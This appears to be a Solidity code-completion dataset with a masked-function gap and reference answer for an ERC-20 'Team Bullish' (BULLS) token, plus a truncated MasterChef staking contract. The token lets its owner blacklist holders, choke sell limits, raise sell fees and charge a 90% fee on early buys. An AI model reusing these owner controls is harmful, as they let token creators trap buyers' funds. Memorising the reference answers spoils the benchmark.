constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
_isBlackListedBot[address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)] = true;
_blackListedBots.push(address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _bullsFee == 0) return;
_previousTaxFee = _taxFee;
_previousbullsFee = _bullsFee;
_taxFee = 0;
_bullsFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_bullsFee = _previousbullsFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {<FILL_FUNCTION_BODY> }
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _bullsFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 BullsFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(BullsFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 100000000 * 10**9; // TX LIMIT
_maxSellAmount = 1000000 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (90 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setBullishHour(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | contract TeamBullish is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 65000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Team Bullish";
string private constant _symbol = unicode"BULLS";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _bullsFee = 7;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousbullsFee = _bullsFee;
uint256 private _BuyFee = _bullsFee;
uint256 private _SellFee = _bullsFee;
uint256 private _maxBuyAmount;
uint256 private _maxSellAmount;
address payable private _FeeAddress;
address payable private _FeeAddress2;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable FeeAddress2, address payable FeeAddress3) {
_FeeAddress = FeeAddress;
_FeeAddress2 = FeeAddress2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[FeeAddress2] = true;
_isExcludedFromFee[FeeAddress3] = true;
_isBlackListedBot[address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4)] = true;
_blackListedBots.push(address(0x12e48B837AB8cB9104C5B95700363547bA81c8a4));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _bullsFee == 0) return;
_previousTaxFee = _taxFee;
_previousbullsFee = _bullsFee;
_taxFee = 0;
_bullsFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_bullsFee = _previousbullsFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
<FILL_FUNCTION>
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_FeeAddress2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _bullsFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 BullsFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(BullsFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 100000000 * 10**9; // TX LIMIT
_maxSellAmount = 1000000 * 10**9; // 1% TX LIMIT
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (90 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function setTX(uint256 maxBuy, uint256 maxSell) external onlyOwner() {
_maxBuyAmount = maxBuy;
_maxSellAmount = maxSell;
}
function setBullishHour(bool enabled) external onlyOwner() {
if (enabled)
{_SellFee = 16;
_BuyFee = 0;
}
else
{
_SellFee = 8;
_BuyFee = 8;
}
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} |
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
require(amount <= _maxBuyAmount);
_taxFee = 0;
_bullsFee = _BuyFee;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
_bullsFee = 90;
}
}
}
// sell
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
require(amount <= _maxSellAmount);
_taxFee = 0;
_bullsFee = _SellFee;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
| function _transfer(address from, address to, uint256 amount) private | function _transfer(address from, address to, uint256 amount) private |
11527 | K33perMasterChef | deposit | contract K33perMasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of K33pers
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accK33perPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accK33perPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. K33pers to distribute per block.
uint256 lastRewardBlock; // Last block number that K33pers distribution occurs.
uint256 accK33perPerShare; // Accumulated K33pers per share, times 1e12. See below.
}
// The K33per2 TOKEN!
K33per_Token public K33per;
// Dev address.
address public devaddr;
// Block number when bonus K33per period ends.
uint256 public bonusEndBlock;
// K33per tokens created per block.
uint256 public K33perPerBlock;
// Bonus muliplier for early K33per makers.
uint256 public bonusMultiplier; // no bonus
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when K33per mining starts.
uint256 public startBlock;
// The block number when K33per mining ends.
uint256 public endBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
K33per_Token _K33per,
address _devaddr,
uint256 _K33perPerBlock,
uint256 _startBlock,
uint256 _endBlock,
uint256 _bonusMultiplier
) public {
K33per = _K33per;
devaddr = _devaddr;
K33perPerBlock = _K33perPerBlock;
startBlock = _startBlock;
bonusEndBlock = _startBlock.add(30000);
endBlock = _endBlock;
bonusMultiplier = _bonusMultiplier;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function setK33perPerBlock(uint256 _K33perPerBlock) public onlyOwner {
K33perPerBlock = _K33perPerBlock;
}
function setBonusMultiplier(uint256 _bonusMultiplier) public onlyOwner {
bonusMultiplier = _bonusMultiplier;
}
function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner {
bonusEndBlock = _bonusEndBlock;
}
function setEndBlock(uint256 _endBlock) public onlyOwner {
endBlock = _endBlock;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accK33perPerShare: 0
}));
}
// Update the given pool's K33per allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(bonusMultiplier);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(bonusMultiplier).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending K33pers on frontend.
function pendingK33per(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accK33perPerShare = pool.accK33perPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 K33perReward = multiplier.mul(K33perPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accK33perPerShare = accK33perPerShare.add(K33perReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accK33perPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
if (block.number > endBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 K33perReward = multiplier.mul(K33perPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
K33per.mint(devaddr, K33perReward.div(25)); // 4%
K33per.mint(address(this), K33perReward);
pool.accK33perPerShare = pool.accK33perPerShare.add(K33perReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for K33per allocation.
function deposit(uint256 _pid, uint256 _amount) public {<FILL_FUNCTION_BODY> }
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accK33perPerShare).div(1e12).sub(user.rewardDebt);
